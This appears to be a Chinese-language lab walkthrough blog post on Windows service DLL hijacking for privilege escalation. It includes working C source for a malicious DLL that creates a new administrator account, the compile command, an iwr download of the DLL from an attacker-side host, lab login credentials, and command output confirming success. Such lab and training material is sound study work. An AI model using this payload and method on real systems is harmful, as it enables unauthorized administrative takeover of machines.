Windows 服務 DLL 劫持
Windows 服務 DLL 劫持
前一篇中替換服務的二進位檔案是嘗試在 Windows 系統上進行權限提升的非常有效的方法
但往往不是這麼順利,因為權限的問題,所以進一步可以透過引用的 dll 檔案來做為另外一種選擇,這個往往是比較容易的方式,因為如果每個誠史都要自己編譯與準備相關的函式庫,那整個檔案與系統將會過大,所以幾乎都是調用內建的 dll 函式庫,上一篇覆蓋的是執行的 *.exe 檔案,這一篇大同小異,只是替換的檔案改成調用的 dll 函式庫
目前 Windows 版本上的標準 DLL 搜尋順序如下
1. The directory from which the application loaded.
2. The system directory.
3. The 16-bit system directory.
4. The Windows directory.
5. The current directory.
6. The directories that are listed in the PATH environment variable.
所以一般利用的方式是可以嘗試將惡意 DLL(帶有丟失 DLL 的名稱)放置在 DLL 搜尋順序的路徑中,以便它在二進位執行檔啟動時執行。
靶機 : 192.168.227.220,已知使用者帳號密碼 steve / securityIsNotAnOption++++++
第一步 RDP 進去└─$ xfreerdp -v:192.168.227.220 -u:steve -p:securityIsNotAnOption++++++
一樣看一下該服務相關使用者權限,icacls .\Documents\BetaServ.exe,只有 (RX)
所以無法像前一篇一樣替換服務執行檔
我們的目標是識別 BetaService載入的所有 DLL並偵測遺失的 DLL。一旦我們獲得了服務二進位檔案使用的 DLL 列表,我們就可以檢查它們的權限以及它們是否可以被惡意 DLL 取代。或者,如果發現缺少 DLL,我們可以嘗試按照 DLL 搜尋順序提供我們自己的 DLL。
標準是把檔案 COPY 到另一台電腦然後啟動 Process Monitor 來監控他執行的 dll 檔案
這裡我們僅有一台機器所以直接調用另一個帳號 backupadmin / admin123admin123! 來啟用
啟動後 filter 該服務,不然資訊量會過多
重新啟動服務發現 myDLL.dll 找不到
編譯自己的 dll 檔案如下,一樣新增使用者再塞入管理者群組
=====================================================================
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
int i;
i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}
=====================================================================
記得一樣要編譯後才有辦法使用
x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll
執行遇到問題可能是沒有安裝 gcc or g++,使用 sudo apt-get install gcc/g++ 安裝
或是 gcc 跟 g++ 版本不一致,可以用 gcc -v & g++ -v 確認一下
還是不行那就應該是 mingw32 的問題可以執行 sudo apt install mingw-w64 更新一下
因為有可能後面的套件影響到原有的套件,重新安裝一般都可以解決
一樣透過 iwr 傳送檔案過去,傳過去前記得先切換到使用者的 Documents 路徑
這是因為 dll 查找順序是在使用者的 directory 中,表示 Documents
iwr -uri http://192.168.45.228/myDLL.dll -Outfile myDLL.dll
並確認當前沒有 dave2 使用者
PS C:\Users\steve> cd Documents
PS C:\Users\steve\Documents> iwr -uri http://192.168.119.3/myDLL.dll -Outfile myDLL.dll
PS C:\Users\steve\Documents> net user
User accounts for \\CLIENTWK220
-------------------------------------------------------------------------------
Administrator BackupAdmin dave
daveadmin DefaultAccount Guest
offsec steve WDAGUtilityAccount
The command completed successfully.
重啟服務,再次查看使用者與管理者群組
PS C:\Users\steve\Documents> Restart-Service BetaService
WARNING: Waiting for service 'BetaService (BetaService)' to start...
WARNING: Waiting for service 'BetaService (BetaService)' to start...
PS C:\Users\steve\Documents> net user
User accounts for \\CLIENTWK220
-------------------------------------------------------------------------------
Administrator BackupAdmin dave
dave2 daveadmin DefaultAccount
Guest offsec steve
WDAGUtilityAccount
The command completed successfully.
PS C:\Users\steve\Documents> net localgroup administrators
...
Administrator
BackupAdmin
dave2
daveadmin
offsec
The command completed successfully.
留言
張貼留言